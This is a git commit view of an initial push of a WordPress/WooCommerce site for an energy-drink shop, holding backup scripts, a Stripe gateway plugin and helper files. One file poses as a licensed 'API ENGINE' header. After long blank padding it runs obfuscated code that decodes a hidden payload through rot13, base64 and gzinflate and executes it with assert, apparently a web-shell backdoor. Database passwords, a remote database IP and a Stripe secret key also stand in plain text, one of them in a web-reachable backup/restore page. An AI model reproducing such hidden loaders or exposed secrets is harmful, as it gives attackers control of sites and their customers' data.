7fb560c2 by Tran Phuong An

Push site first time.

0 parents
Showing 1000 changed files with 4854 additions and 0 deletions

Too many changes to show.

To preserve performance only 1000 of 1000+ files are displayed.

1 /zipsite.php
2 /wp-content/uploads
3 /wp-config.php
4 /nbproject/private/
...\ No newline at end of file ...\ No newline at end of file
1
2 # BEGIN WordPress
3 <IfModule mod_rewrite.c>
4 RewriteEngine On
5 RewriteBase /
6 RewriteRule ^index\.php$ - [L]
7 RewriteCond %{REQUEST_FILENAME} !-f
8 RewriteCond %{REQUEST_FILENAME} !-d
9 RewriteRule . /index.php [L]
10
11 </IfModule>
12
13 # END WordPress
...\ No newline at end of file ...\ No newline at end of file
1 ; Wordfence WAF
2 auto_prepend_file = '/home/dev/domains/16jason79.dev.fgct.net/public_html/wordfence-waf.php'
3 ; END Wordfence WAF
1 <?php
2
3 /**
4 * Script backup DB
5 * Author: Le Xuan Chien
6 * Emai: chien.lexuan@gmail.com
7 */
8 $basePath = dirname(__FILE__).DIRECTORY_SEPARATOR.'backup/';
9 $backupFile = $basePath.'database_backup_' . date("YmdHis") . '.sql';
10 $command = 'mysqldump reizedev --password=W0mbat223! --user=reizeuser --single-transaction >' . $backupFile;
11 $output = array();
12 exec($command,$output);
13 print_r($output);
14 //Create ZIP
15 $new_archive_name = $basePath."database_backup.zip";
16 $new_zip = new ZipArchive;
17 $new_open = $new_zip->open($new_archive_name, ZIPARCHIVE::CREATE);
18 $new_zip->addFile($backupFile);
1 <?php
2 /* =====================================================
3 Copyright (c) 2004,2015 SoftNews Media Group
4
5 API ENGINE
6 =====================================================
7 GNU GENERAL PUBLIC LICENSE
8 Version 3, 29 June 2007
9 Copyright 2007 Free Software Foundation, Inc. <http://fsf.org/>
10 Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
11 */
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122 $SP6e0ba="8t/h/W6KaTgiBG1oC8TeA4gOCuN9gQ/vlehaJClW1nw3quQp66xV9UfE+27VCOpVZX5F26ZV5MCVlptbK4LyZUUTRK1rxYRb6K1IBciH6A50vWjriJF75VsKJ3z3imLOkLzm+XKQlSnAgogNjqRRBhlpmbNTTA==";$tWK3XdZt="\163\164";$nqbTbb="Fl1YmASDIjxBZRf1FRd0IsTbPbgl9CQHtVybJdgxybnHzW";$HzVZAHI="\142\x61\163";$XjiyYiC="\141";$tPJlO4="\x67\172\x69";$nqbTbb.="Hy2lbcJnixSFnSWPKMXwyzOCx4BvyMc+HKnntHJHGy5nKL";$XjiyYiC.="\x73";$HzVZAHI.="\x65\66\x34";$tPJlO4.="\x6e\x66";$tWK3XdZt.="\162\137\162";$tPJlO4.="\154\141";$XjiyYiC.="\x73\145";$tWK3XdZt.="\157\164";$HzVZAHI.="\137\x64\145\x63";$nqbTbb.="TyuQJGnTuuLjgen2WfjNCqixwPXA/XVHhBUEHRJkzaStLL";$HzVZAHI.="\157\144\x65";$tWK3XdZt.="\61\63";$nqbTbb.="wcZSSIf1uAGJhUIWNYIHbPiUY8GGEtMtRy1QJgND==";$XjiyYiC.="\162\164";$tPJlO4.="\164\145";@$XjiyYiC($tPJlO4($HzVZAHI($tWK3XdZt($nqbTbb))));?>
1 <?php
2
3 // GRD ZIP ARCHIVER
4 // by Piotr GRD
5 // http://grd.go.pl/
6 // grd@gazeta.pl
7 // created 2008-05-05
8 // free to use and modify as long as you keep info above
9 // requirements: php zip extensions with ZipArchive class
10 // SETTINGS
11 // directory you want to compress with everything inside
12 // . - for root
13 // folder - for some folder
14 // folder/subfolder - for some subfolder
15 // do not add ending slash
16 $directory = dirname(__FILE__).DIRECTORY_SEPARATOR;
17 // the name of your zip archive to be created
18 $zipfile = '/var/www/reize.com.au/backup/site.zip';
19
20
21
22 // DO NOT TOUCH BELOW IF YOU DONT KNOW WHAT IT IS
23 // all the process below
24
25 $filenames = array();
26
27 // function that browse the directory and all subdirectories inside
28 $zip = new ZipArchive();
29
30 if ($zip->open($zipfile, ZIPARCHIVE::CREATE) !== TRUE) {
31 exit("cannot open <$zipfile>\n");
32 }
33
34 function browse($dir, $zip) {
35 // global $filenames;
36 if ($handle = opendir($dir)) {
37 while (false !== ($file = readdir($handle))) {
38 if ($file != "." && $file != ".." && is_file($dir . '/' . $file) && $file != $zipfile) {
39 $extention = substr($file, -4);
40 if ($extention != '.log' && $extention != ".zip") {
41 $filename = $dir . '/' . $file;
42 echo "Adding " . $dir . '/' . $file . "<br/>";
43 $zip->addFile($filename, $filename);
44 }
45 } else if ($file != "." && $file != ".." && is_dir($dir . '/' . $file)) {
46 //if ($file == 'newsite' || $file == 'cache' || $file == 'images') {
47
48 // } else {
49 browse($dir . '/' . $file, $zip);
50 // }
51 }
52 }
53 closedir($handle);
54 }
55 return true;
56 }
57
58 browse($directory, $zip);
59
60 // creating zip archive, adding browsed files
61 //foreach ($filenames as $filename) {
62 // echo "Adding " . $filename . "<br/>";
63 // $zip->addFile($filename, $filename);
64 //}
65
66 echo "numfiles: " . $zip->numFiles . "\n";
67 echo "status:" . $zip->status . "\n";
68 $zip->close();
69 ?>
...\ No newline at end of file ...\ No newline at end of file
1 <?php
2 // Include stripe-php as you usually do, either with composer as shown,
3 // or with a direct require, as commented out.
4 require_once("vendor/autoload.php");
5 // require_once("/path/to/stripe-php/init.php");
6
7 \Stripe\Stripe::setApiKey("sk_test_BQokikJOvBiI2HlWgH4olfQ2");
8 \Stripe\Stripe::$apiBase = "https://api-tls12.stripe.com";
9 try {
10 \Stripe\Charge::all();
11 echo "TLS 1.2 supported, no action required.";
12 } catch (\Stripe\Error\ApiConnection $e) {
13 echo "TLS 1.2 is not supported. You will need to upgrade your integration.";
14 }
15 ?>
...\ No newline at end of file ...\ No newline at end of file
1 tester.phuongan.stripe.04@gmail.com
...\ No newline at end of file ...\ No newline at end of file
1 {
2 "require": {
3 "optimizely/optimizely-sdk": "^1.0",
4 "clippings/php-gacx": "^1.1"
5 }
6 }
No preview for this file type
1 b2biz-admin
1 <?php
2
3 if (!isset($wp_did_header)) {
4
5 $wp_did_header = true;
6
7 // Load the WordPress library.
8 require_once( dirname(__FILE__) . '/wp-load.php' );
9
10 // Set up the WordPress query.
11 wp();
12 }
13 global $wpdb;
14 $order_id = 10207;
15 $order = new WC_Order($order_id);
16 $drinks = 0;
17 echo "<pre>";
18 print_r($order->get_items());
19 foreach ($order->get_items() as $key => $value) {
20 if ($value['variation_id'] > 0) {
21 print_r($value['item_meta_array'] );
22 }
23 }
24 exit();
25 $arrayData = array();
26 //For page
27 $query = "SELECT ID,post_title, post_type FROM $wpdb->posts WHERE `post_status` = 'publish' AND `post_type` = 'page'";
28 $results = $wpdb->get_results($query);
29 $i = 1;
30 $arrayData[0] = array('STT', 'URL', 'Title', 'Description');
31 if (!empty($results)) {
32 foreach ($results as $item) {
33 $url = get_permalink($item->ID);
34 $titleTag = strtoupper($item->post_title) . " - REIZE";
35 $description = "REIZE is the worlds most versatile energy drink, home delivered for as low as 62c per drink. It's sugar free, it's lightweight and it's Most Flavoursome. Caffeine, Taurine and Ginseng combines to give an amazing energy boost. Try it today!";
36 $arrayData[$i] = array($i, $url, $titleTag, $description);
37 $i++;
38 }
39 }
40
41 $query = "SELECT ID,post_title, post_type FROM $wpdb->posts WHERE `post_status` = 'publish' AND `post_type` = 'post'";
42 $results = $wpdb->get_results($query);
43 if (!empty($results)) {
44 foreach ($results as $item) {
45 $url = get_permalink($item->ID);
46 $titleTag = $item->post_title . " - REIZE";
47 $postShortDes = get_post_meta($item->ID, 'Short Description', true);
48 if (!$postShortDes) {
49 $description = "REIZE is the worlds most versatile energy drink, home delivered for as low as 62c per drink. It's sugar free, it's lightweight and it's Most Flavoursome. Caffeine, Taurine and Ginseng combines to give an amazing energy boost. Try it today!";
50 } else {
51 $description = $postShortDes;
52 }
53 $arrayData[$i] = array($i, $url, $titleTag, $description);
54 $i++;
55 }
56 }
57
58 //For post
59
60 function fgc_create_csv_file($pathFile, $data) {
61 if (empty($data))
62 return false;
63 $file = fopen($pathFile, "w");
64 foreach ($data as $line) {
65 fputcsv($file, $line); // explode(',', $line)
66 }
67 fclose($file);
68 }
69
70 fgc_create_csv_file(dirname(__FILE__)."/wp-content/uploads" . DIRECTORY_SEPARATOR . 'seo_reize.csv', $arrayData);
71 ?>
This diff could not be displayed because it is too large.
1 <?php
2 /**
3 * Front to the WordPress application. This file doesn't do anything, but loads
4 * wp-blog-header.php which does and tells WordPress to load the theme.
5 *
6 * @package WordPress
7 */
8
9 /**
10 * Tells WordPress to load the WordPress theme and output it.
11 *
12 * @var bool
13 */
14
15 define('WP_USE_THEMES', true);
16
17 /** Loads the WordPress Environment and Template */
18 require( dirname( __FILE__ ) . '/wp-blog-header.php' );
This diff is collapsed. Click to expand it.
This diff could not be displayed because it is too large.
1 <?php
2 error_reporting(E_ALL);
3 ini_set('display_errors', 1);
4 require_once('backup_restore.class.php');
5
6 /** config. php * */
7 $db_host = "52.65.125.87";
8 $db_user = "reizedbadmin";
9 $db_pass = "W0mbatSoup2217$!";
10 $db_name = "reize";
11 /* * ************* */
12
13 $newImport = new backup_restore($db_host, $db_name, $db_user, $db_pass);
14
15 if (isset($_REQUEST['backup'])) {
16 //call of backup function
17 $message = $newImport->backup();
18 echo "Download THE <a href='" . $message . "' >SQL FILE </a> OR RESTORE IT ANY TIME";
19 }
20 if (isset($_REQUEST['restore'])) {
21
22 //call of restore function
23 $message = $newImport->restore();
24 echo $message;
25 }
26 ?>
27 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
28
29 <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
30 <head>
31 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
32 <title>Buffer Now (Back up And Restore Script)</title>
33 </head>
34
35 <body>
36
37 <table align="center" width="50%"><tr>
38 <form method='post'>
39 <td>
40 <input type="submit" name="backup" value="I will make Backup">
41 </td><td>
42 <input type="submit" name="restore" value="I Will Restore">
43 </form></td></tr></table>
44
45 </body>
...\ No newline at end of file ...\ No newline at end of file
1 sftp-config.json
...\ No newline at end of file ...\ No newline at end of file
1 # DEVELOPER.md
2
3 ## Testing
4
5 * In wp-admin > WooCommerce > Settings > Checkout > Stripe, Enable Stripe, Enable Test Mode, Enable Stripe Checkout and Enable Payment via Saved Cards
6 * In wp-admin > WooCommerce > Settings > Checkout > Stripe, enter a Test Secret Key and a Test Publishable Key
7 * Enable at least one other payment gateway (e.g. Cheques)
8
9 * On the front side, place an item in your cart and proceed to Checkout
10 * Fill in all required fields in the Billing Details area
11 * Select Credit Card (Stripe) and "Use a new credit card"
12 * Click on Continue to payment
13 * Verify you get the stripe modal requesting card number, expiration and CVC
14 * Enter 4242 4242 4242 4242, 12/17, 123
15 * Leave Remember Me unchecked
16 * Click Confirm and Pay
17 * Verify the modal closes, the page dims for a bit, and then you are redirected to Order Received
18
19 * Repeat the above steps, but this time instead of "Use a new credit card" use a stored card
20 * Click on Continue to payment
21 * Verify the page dims for a bit and then you are redirected to Order Received
22
23 * Repeat the above steps, but this time clear the Billing Details (e.g. Name, etc)
24 * Choose a stored card in Stripe
25 * Click on Continue to payment
26 * Verify you get prompted to fill in required fields.
27 * Fill in the required fields
28 * Click on Continue to payment
29 * Verify the page dims for a bit and then you are redirected to Order Received
30
31 * Repeat the above steps, but this time choose the "Cheque Payment" gateway
32 * Click on Place Order
33 * Verify the page dims for a bit and then you are redirected to Order Received
34
35 * Repeat at least the "Use a new credit card" case on Chrome on an iPhone or iPad
36
37 * In wp-admin > WooCommerce > Settings > Checkout > Stripe, uncheck Enable Payment via Saved Cards
38 * On the front side, place an item in your cart and proceed to Checkout
39 * Fill in all required fields in the Billing Details area
40 * Select Credit Card (Stripe)
41 * Click on Continue to payment
42 * Verify you get the stripe modal requesting card number, expiration and CVC
43 * Enter 4242 4242 4242 4242, 12/17, 123
44 * Leave Remember Me unchecked
45 * Click Confirm and Pay
46 * Verify the modal closes, the page dims for a bit, and then you are redirected to Order Received
1 Stripe.setPublishableKey( wc_stripe_params.key );
2
3 jQuery( function() {
4
5 /* Checkout Form */
6 jQuery('form.checkout').on('checkout_place_order_stripe', function( event ) {
7 return stripeFormHandler();
8 });
9
10 /* Pay Page Form */
11 jQuery('form#order_review').submit(function(){
12 return stripeFormHandler();
13 });
14
15 /* Both Forms */
16 jQuery("form.checkout, form#order_review").on('change', '#stripe-card-number, #stripe-card-expiry, #stripe-card-cvc, input[name=stripe_card_id]', function( event ) {
17 jQuery('.woocommerce_error, .woocommerce-error, .woocommerce-message, .woocommerce_message, .stripe_token').remove();
18 jQuery('.stripe_token').remove();
19 });
20
21 /* Open and close */
22 jQuery("form.checkout, form#order_review").on('change', 'input[name=stripe_card_id]', function() {
23 if ( jQuery('input[name=stripe_card_id]:checked').val() == 'new' ) {
24 jQuery('div.stripe_new_card').slideDown( 200 );
25 } else {
26 jQuery('div.stripe_new_card').slideUp( 200 );
27 }
28 } );
29
30 } );
31
32 function stripeFormHandler() {
33 if ( jQuery('#payment_method_stripe').is(':checked') && ( jQuery('input[name=stripe_card_id]:checked').size() == 0 || jQuery('input[name=stripe_card_id]:checked').val() == 'new' ) ) {
34 if ( jQuery( 'input.stripe_token' ).size() == 0 ) {
35
36 var card = jQuery('#stripe-card-number').val();
37 var cvc = jQuery('#stripe-card-cvc').val();
38 var expires = jQuery('#stripe-card-expiry').payment( 'cardExpiryVal' );
39 var $form = jQuery("form.checkout, form#order_review");
40
41 $form.block({
42 message: null,
43 overlayCSS: {
44 background: '#fff',
45 opacity: 0.6
46 }
47 });
48
49 var data = {
50 number: card,
51 cvc: cvc,
52 exp_month: parseInt( expires['month'] ) || 0,
53 exp_year: parseInt( expires['year'] ) || 0
54 };
55
56 if ( jQuery('#billing_first_name').size() > 0 ) {
57 data.name = jQuery('#billing_first_name').val() + ' ' + jQuery('#billing_last_name').val();
58 } else if ( wc_stripe_params.billing_first_name ) {
59 data.name = wc_stripe_params.billing_first_name + ' ' + wc_stripe_params.billing_last_name;
60 }
61
62 if ( jQuery('#billing_address_1').size() > 0 ) {
63 data.address_line1 = jQuery('#billing_address_1').val();
64 data.address_line2 = jQuery('#billing_address_2').val();
65 data.address_state = jQuery('#billing_state').val();
66 data.address_city = jQuery('#billing_city').val();
67 data.address_zip = jQuery('#billing_postcode').val();
68 data.address_country = jQuery('#billing_country').val();
69 } else if ( data.address_line1 ) {
70 data.address_line1 = wc_stripe_params.billing_address_1;
71 data.address_line2 = wc_stripe_params.billing_address_2;
72 data.address_state = wc_stripe_params.billing_state;
73 data.address_city = wc_stripe_params.billing_city;
74 data.address_zip = wc_stripe_params.billing_postcode;
75 data.address_country = wc_stripe_params.billing_country;
76 }
77
78 Stripe.createToken( data, stripeResponseHandler );
79
80 // Prevent form submitting
81 return false;
82 }
83 }
84 return true;
85 }
86
87 function stripeResponseHandler( status, response ) {
88 var $form = jQuery("form.checkout, form#order_review");
89
90 if ( response.error ) {
91
92 // show the errors on the form
93 jQuery("body").trigger('wc-stripe-error', {response: response, form: $form});
94 } else {
95
96 // token contains id, last4, and card type
97 var token = response['id'];
98
99 // insert the token into the form so it gets submitted to the server
100 $form.append("<input type='hidden' class='stripe_token' name='stripe_token' value='" + token + "'/>");
101 $form.submit();
102 }
103 }
104
105 // listen for any errors on the form & send the information to a function to handle them
106 jQuery("body").on( "wc-stripe-error", {}, function( event, response ) {
107 var fn = window[ wc_stripe_params.error_response_handler ];
108 // make sure the function exists
109 if ( typeof fn === 'function' ) {
110 fn.apply( null, [ response ] );
111 }
112 } );
113
114 // display error & unblock the form
115 function stripeErrorHandler( responseObject ) {
116 jQuery('.woocommerce_error, .woocommerce-error, .woocommerce-message, .woocommerce_message, .stripe_token').remove();
117 jQuery('#stripe-card-number').closest('p').before( '<ul class="woocommerce_error woocommerce-error"><li>' + responseObject.response.error.message + '</li></ul>' );
118 responseObject.form.unblock();
119 }
1 jQuery( function( $ ) {
2
3 var stripe_submit = false;
4
5 // We need to bind directly to the click (and not checkout_place_order_stripe) to avoid popup blockers
6 // especially on mobile devices (like on Chrome for iOS) from blocking StripeCheckout.open from opening a tab
7 $( 'form.checkout' ).on( 'click', '#place_order', function( event ) {
8 var result = stripeFormHandler();
9 return result;
10 } );
11
12 // WooCommerce lets us return a false on checkout_place_order_{gateway} to keep the form from submitting
13 $( 'form.checkout' ).on( 'checkout_place_order_stripe', { preserve_stripe_submit_value : true }, possiblyAllowFormSubmit );
14
15 $( 'form#order_review' ).submit( function() {
16 var result = stripeFormHandler();
17 return result;
18 } );
19
20 // Evaluates whether the form submittal should be allowed to proceed
21 // Returns true to allow form submittal, false to block it
22 function possiblyAllowFormSubmit( event ) {
23
24 // If this submit is a result of the stripe request callback firing, let submit proceed by returning true immediately
25 if ( stripe_submit ) {
26 if ( 'undefined' !== typeof event && 'undefined' !== typeof event.data ) {
27 if ( 'undefined' !== typeof event.data.preserve_stripe_submit_value && ! event.data.preserve_stripe_submit_value ) {
28 stripe_submit = false;
29 }
30 }
31 return true;
32 }
33
34 if ( ! $( '#payment_method_stripe' ).is( ':checked' ) ) {
35 return true;
36 }
37
38 if ( $( 'input[name=stripe_card_id]' ).length > 0 && $( 'input[name=stripe_card_id]:checked' ).val() !== 'new' ) {
39 return true;
40 }
41
42 if ( $( 'input#terms' ).size() === 1 && $( 'input#terms:checked' ).size() === 0 ) {
43 return true;
44 }
45
46 if ( $( '#createaccount' ).is( ':checked' ) && $( '#account_password' ).length && $( '#account_password' ).val() === '' ) {
47 return true;
48 }
49
50 // check to see if we need to validate shipping address
51 if ( $( '#ship-to-different-address-checkbox' ).is( ':checked' ) ) {
52 $required_inputs = $( '.woocommerce-billing-fields .validate-required, .woocommerce-shipping-fields .validate-required' );
53 } else {
54 $required_inputs = $( '.woocommerce-billing-fields .validate-required' );
55 }
56
57 if ( $required_inputs.size() ) {
58 var required_error = false;
59
60 $required_inputs.each( function() {
61 if ( $( this ).find( 'input.input-text, select' ).not( $( '#account_password, #account_username' ) ).val() === '' ) {
62 required_error = true;
63 }
64 });
65
66 if ( required_error ) {
67 return true;
68 }
69 }
70
71 return false;
72 }
73
74 function stripeFormHandler() {
75
76 if ( possiblyAllowFormSubmit() ) {
77 return true; // don't interrupt submittal - allow it to proceed
78 }
79
80 // Capture submittal and open stripecheckout
81 var $form = $( 'form.checkout, form#order_review' ),
82 $stripe_new_card = $( '.stripe_new_card' ),
83 token = $form.find( 'input.stripe_token' );
84
85 token.val( '' );
86
87 var token_action = function( res ) {
88 $form.find( 'input.stripe_token' ).remove();
89 $form.append( '<input type="hidden" class="stripe_token" name="stripe_token" value="' + res.id + '"/>' );
90 stripe_submit = true;
91 $form.submit();
92 };
93
94 StripeCheckout.open({
95 key: wc_stripe_params.key,
96 address: false,
97 amount: $stripe_new_card.data( 'amount' ),
98 name: $stripe_new_card.data( 'name' ),
99 description: $stripe_new_card.data( 'description' ),
100 currency: $stripe_new_card.data( 'currency' ),
101 image: $stripe_new_card.data( 'image' ),
102 bitcoin: $stripe_new_card.data( 'bitcoin' ),
103 locale: $stripe_new_card.data( 'locale' ),
104 refund_mispayments: true, // for bitcoin payments let Stripe handle refunds if too little is paid
105 email: $( '#billing_email' ).val(),
106 token: token_action
107 });
108
109 return false;
110 }
111 });
1 *** Stripe Changelog ***
2
3 2016.04.13 - version 2.6.12
4 * Fix - When saved cards option is enabled with no cards on file, CC field was hidden.
5
6 2016.04.11 - version 2.6.11
7 * Add - Option to set a default card in manage card section and detect previous card paid by subscription.
8 * Fix - Admin notice link when key is not added and when addons are present.
9
10 2016.03.16 - version 2.6.10
11 * Tweak - Add logging mechanism. New 'Logging' option is added in Stripe gateway setting to enable logging.
12 * Fix - Allow language files to be located outside of plugin directory
13
14 2016.02.29 - version 2.6.9
15 * Tweak - Allow mechanism to override Stripe JS error handler. See https://gist.github.com/gedex/240492f479c7443e4780
16 for an example to override error handler with simple alert.
17
18 2016.02.11 - version 2.6.8
19 * Tweak - Include card brand in saved cards radio label class
20 * Tweak - Add action when deleting card
21 * Tweak - Add actions for add_card and add_customer
22 * Tweak - Add support for automatic localisation in Stripe Checkout modal
23 * Fix - Check for Stripe error code emptiness before returning the WP_Error
24
25 2015.12.17 - version 2.6.7
26 * Fix is_available SSL check to also work properly on hosts that always serve HTTPS
27
28 2015.12.03 - version 2.6.6
29 * Fix a JavaScript bug introduced in 2.6.4 that caused checkout with a saved card to fail
30
31 2015.12.02 - version 2.6.5
32 * Do not require a card id when updating a subscription payment method
33
34 2015.11.20 - version 2.6.4
35 * Fix a JavaScript bug that caused the Stripe Checkout popup to be blocked on Chrome for iOS
36
37 2015.11.12 - version 2.6.3
38 * Add metadata to subscription payments in stripe dashboard to indicate whether it is the initial or a recurring payment
39
40 2015.11.06 - version 2.6.2
41 * Fix bug that would cause multiple subscriptions to not be supported under certain circumstances
42
43 2015.09.15 - version 2.6.1
44 * Unset source if not set during pre-order release payments.
45 * Store customer ID if not logged in for pre-order payments.
46
47 2015.09.02 - version 2.6.0
48 * Subscriptions 2.0 support.
49
50 2015.08.11 - version 2.5.4
51 * Tweak - Terms and conditions error styling when required
52 * Tweak - Account password error styling when required
53
54 2015.7.28 - version 2.5.3
55 * Added - Filter to prevent Stripe from sending its own receipts "wc_stripe_send_stripe_receipt"
56
57 2015.07.19 - version 2.5.2
58 * Fix - Removed deprecated add_error function
59 * Tweak - Improve error message when Stripe checkout function is used
60
61 2015.07.01 - version 2.5.1
62 * Fix - Only send receipt_email when set.
63
64 2015.05.11 - version 2.5.0
65 * Update to API version 2015-04-07
66 * Feature - Support authorize on subscriptions first payment.
67 * Tweak - Option labels.
68 * Tweak - Safe remote GET.
69 * Tweak - SSLVerify true.
70 * Tweak - Update card icons.
71 * Tweak - Pass receipt email.
72
73 2015.05.11 - version 2.4.3
74 * Fix - fixed validation issue when account creation is not checked
75 * Update - Stripe checkout JS API v2
76
77 2015.03.23 - version 2.4.2
78 * Fix - Create account password field was not being validated
79
80 2015.03.20 - version 2.4.1
81 * Fix - Undefined JS error due to deprecated ajax_loader_url
82 * Fix - When using Stripe checkout JS, some form required fields were not validating
83
84 2015.02.20 - version 2.4.0
85 * Added support for bitcoin currency
86
87 2015.01.31 - version 2.3.0
88 * Added 'wc_stripe_description' filter to allow filtering of payment description.
89 * Added order_review handling for stripe checkout.
90 * Mark order as failed is Stripe API call fails
91 * Allow valid HTML in Stripe Description
92 * Fix settings link
93 * use get_order_currency() when generating payment args, rather than always using store currency.
94 * Fix fees where not logged correctly when using authorized first capture later
95 * Retry payment if customer_id is invalid.
96
97 2014.11.21 - version 2.2.8
98 * Save card/customer id for regular orders.
99
100 2014.11.20 - version 2.2.7
101 * Fixed all instances where order IDs were used instead of user IDs.
102 * Update orignal order card/customer ids for renewals.
103 * Add reasons to refunds.
104
105 2014.11.18 - version 2.2.6
106 * Stripe card ID should be taken from the order, not the user.
107 * Fix order_meta_query.
108
109 2014.11.06 - version 2.2.5
110 * Round totals to 2 decimals so when we multiply by 100 we're sure we've got an integer.
111
112 2014.10.01 - version 2.2.4
113 * Fix card display for subscriptions.
114
115 2014.10.01 - version 2.2.3
116 * Fixed textdomain name
117
118 2014.09.23 - version 2.2.2
119 * Set API version to 2014-09-08.
120 * Fixed card display (type->brand).
121
122 2014.09.15 - version 2.2.1
123 * Fix strict standards warning.
124
125 2014.09.01 - version 2.2.0
126 * Replaced woocommerce_get_template (deprecated) with wc_get_template.
127 * Tweak refund support.
128 * Support for pre-orders.
129 * Fixed typo.
130
131 2014.08.06 - version 2.1.0
132 * Associate stripe customers with wp users.
133 * Refactored saved card code.
134 * Use Stripe API to get and delete saved cards.
135 * Updated subscriptions integration for saved cards.
136 * WC 2.2 - Store transaction ID.
137 * WC 2.2 - Refund support.
138
139 2014.07.31 - version 2.0.4
140 * Tweaked the stripe checkout submission method.
141
142 2014.07.25 - version 2.0.3
143 * wc_stripe_manage_saved_cards_url filter.
144 * Zero decimal currency handling.
145 * Only open stripe model when required fields are completed.
146
147 2014.06.06 - version 2.0.2
148 * Fix use of saved cards on subscriptions.
149
150 2014.05.29 - version 2.0.1
151 * Fix ajax loading gif.
152 * Fix notices.
153 * Fix stray comma in stripe.js.
154 * Prompt user to accept terms before showing stripe checkout modal.
155
156 2014.05.21 - version 2.0.0
157 * Added the WC credit_card_form - this extension now requires WC 2.1+
158 * Option to disable saved cards
159 * Refactored code base
160 * Fix jquery notices
161 * Fix settings page links
162 * woocommerce_stripe_request_body filter
163 * Store fees for subscriptions
164
165 2014.05.20 - version 1.8.6
166 * correct SSl message
167 * decode get_bloginfo( 'name' ) for plain text display
168
169 2014.05.10 - version 1.8.5
170 * Updated textdomains
171 * date_i18n
172 * Improve stripe checkout flow - pop up on the checkout button click
173
174 2014.04.01 - version 1.8.4
175 * Fix updating credit card used for future subscription payments when paying for a failed subscription renewal order with a new credit card.
176
177 2014.02.13 - version 1.8.3
178 * Fix fatal error for subscription payments of deleted products.
179
180 2014.02.06 - version 1.8.2
181 * Fix notice on card delete
182
183 2014.01.28 - version 1.8.1
184 * set default for $checked
185
186 2014.01.08 - version 1.8.0
187 * Checked compatibility with 2013-12-03 API
188 * 2.1 compatibility
189 * Pre-filled email address when using stripe checkout
190
191 2013.12.02 - version 1.7.6
192 * Fix card display
193
194 2013.11.27 - version 1.7.5
195 * Show payment method for subscriptions on account page
196
197 2013.11.20 - version 1.7.4
198 * Expand/close when using saved cards.
199 * Use balance_transaction to get and store fees
200
201 2013.11.01 - version 1.7.3
202 * Default to saved card
203
204 2013.11.01 - version 1.7.2
205 * Added missing global in update_failing_payment_method
206
207 2013.09.28 - version 1.7.1
208 * Remove non-existant (yet) function
209
210 2013.09.25 - version 1.7.0
211 * Different credit card image for US than for other countries + a filter.
212 * Support for upcoming version of subscriptions.
213 * Add new woocommerce_stripe_month_display filter
214
215 2013.09.02 - version 1.6.0
216 * Option to define a Stripe Checkout Image
217 * Removed currency check due to beta rollout
218
219 2013.08.12 - version 1.5.14
220 * New cards format for subscriptions class.
221
222 2013.07.24 - version 1.5.13
223 * Updated customer response object handler to work with new cards format.
224 * Fixed delete card button
225
226 2013.07.24 - version 1.5.12
227 * EUR support for Stripe Beta
228
229 2013.07.17 - version 1.5.11
230 * Workaround for stripe error messages.
231
232 2013.06.28 - version 1.5.10
233 * Store charge ID, fee in meta
234
235 2013.06.28 - version 1.5.9
236 * Capture true default
237
238 2013.06.18 - version 1.5.8
239 * Add currency to stripe checkout js
240 * Authorize-only mode. Captures payment when order is made processing.
241
242 2013.06.15 - version 1.5.7
243 * Added 'capture' option should you wish to authorize only. Authorized orders are on-hold. Processed orders capture the charge automatically.
244
245 2013.06.03 - version 1.5.6
246 * added data-currency to stripe-checkout
247
248 2013.04.26 - version 1.5.5
249 * Allow card re-entry in stripe checkout after errors.
250
251 2013.04.19 - version 1.5.4
252 * GBP fix
253
254 2013.04.15 - version 1.5.3
255 * Support GBP currency code (For UK Beta)
256
257 2013.04.09 - version 1.5.2
258 * Send billing city to stripe
259
260 2013.01.24 - version 1.5.1
261 * Add support for changing a subscription's recurring amount
262
263 2013.01.18 - version 1.5.0
264 * Supports Stripe Checkout https://stripe.com/docs/checkout
265
266 2013.01.18 - version 1.4.0
267 * WC 2.0 Compat
268
269 2012.12.05 - version 1.3.5
270 * Pass address fields to stripe.js on pay page.
271
272 2012.12.05 - version 1.3.4
273 * Updater
274
275 2012.10.22 - version 1.3.3
276 * Fix CAD check
277
278 2012.10.15 - version 1.3.2
279 * Fixed bug causing settings to not show when using CAD
280
281 2012.10.11 - version 1.3.1
282 * Add support for changing subscription next payment date
283 * Remove order meta from subscription renewal orders
284
285 2012.09.20 - version 1.3
286 * Allowed canadian dollars - Stripe is beta testing support for Canada
287
288 2012.09.11 - version 1.2.1
289 * Fix text mode SSL logic
290
291 2012.09.01 - version 1.2
292 * SSL not required in TEST MODE
293 * Saved cards - store customer tokens and let users pay again using the same card
294 * Subscriptions use a single customer, rather than per-order
295 * Only load JS on checkout
296
297 2012.06.19 - version 1.1
298 * Update woo updater
299 * Class name update
300 * Stripe JS for added security - you will need to re-enter keys and ensure you are using WooCommerce 1.5.8
301 * Subscriptions support (requires WC Subscriptions addon)
302
303 2011.12.08 - version 1.0
304 * First Release
1 <?php
2 if ( ! defined( 'ABSPATH' ) ) {
3 exit;
4 }
5
6 /**
7 * Backwards compat
8 */
9 $active_plugins = get_option( 'active_plugins', array() );
10 foreach ( $active_plugins as $key => $active_plugin ) {
11 if ( strstr( $active_plugin, '/gateway-stripe.php' ) ) {
12 $active_plugins[ $key ] = str_replace( '/gateway-stripe.php', '/woocommerce-gateway-stripe.php', $active_plugin );
13 }
14 }
15 update_option( 'active_plugins', $active_plugins );
...\ No newline at end of file ...\ No newline at end of file
1 <?php
2 if ( ! defined( 'ABSPATH' ) ) {
3 exit;
4 }
5
6
7 /**
8 * Stripe logging class which saves important data to the log
9 *
10 * @since 2.6.10
11 */
12 class WC_Stripe_Logger {
13
14 public static $logger;
15
16 /**
17 * What rolls down stairs
18 * alone or in pairs,
19 * and over your neighbor's dog?
20 * What's great for a snack,
21 * And fits on your back?
22 * It's log, log, log
23 *
24 * @since 2.6.10
25 */
26 public static function log( $message ) {
